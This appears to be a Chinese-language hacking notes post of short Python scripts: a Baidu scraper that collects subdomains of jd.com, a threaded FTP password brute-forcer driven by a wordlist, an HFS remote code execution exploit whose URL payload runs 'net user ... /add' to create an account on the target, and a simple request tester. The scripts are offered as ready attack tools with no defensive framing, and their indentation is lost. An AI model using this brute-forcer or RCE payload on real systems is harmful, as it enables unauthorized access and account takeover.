0x00 子域名爬取
import requests
import time
import queue
from lxml import etree
def baiud_get():
while not q.empty():
bd=q.get()
req=requests.get(bd,headers=headers)
time.sleep(4)
baidu=req.text
html=etree.HTML(baidu)
ul=html.xpath('//h3[@class="c-title t t tts-title"]')
for uls in ul:
t=uls.xpath('./a[1]')
for tt in t:
ttt=tt.xpath('@href')
r=requests.get(ttt[0])
print(r.url)
if __name__ == '__main__':
q=queue.Queue()
url='https://www.baidu.com/s?wd=site:jd.com&pn='
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Edg/101.0.1210.32'
}
for i in range(100):
i =i*10
urls=url+str(i)
q.put(urls)
baiud_get()
0x01 ftp爆破（ssh mysql，都有相对应的模块使用）
import ftplib
import queue
import threading
import time
p=queue.Queue
def ftp_brute():
while not p.empty():
password=p.get()
password = password.replace('\n','')
print(password)
try:
ftp= ftplib.FTP(host)
ftp.login(username,password)
print('ok!')
print(password)
ftp.quit()
return True
except:
print('no!')
time.sleep(1)
if __name__ == '__main__':
host='127.0.0.1'
port='21'
username='admin'
for password in open('密码字典文件'):
p.put(password)
for i in range(10):
t=threading.Thread(target=ftp_brute)
t.start()
0x02 HFS-rce
import requests
url_add="/?search==%00{.exec|cmd%20/c%20net%20user%20bbbbb%20123%20/add.}"
url="http://192.168.213.163/"
urls=url+url_add
print(urls)
def add():
code=requests.get(urls).status_code
if code ==200:
print("yes+urls")
else:
print("no+urls")
if __name__ == '__main__':
add()
0x03 简单的请求测试
import requests
url=input("输入url:")
def duqu():
code=requests.get(url).text
print(code)
if __name__ == '__main__':
duqu()
| 
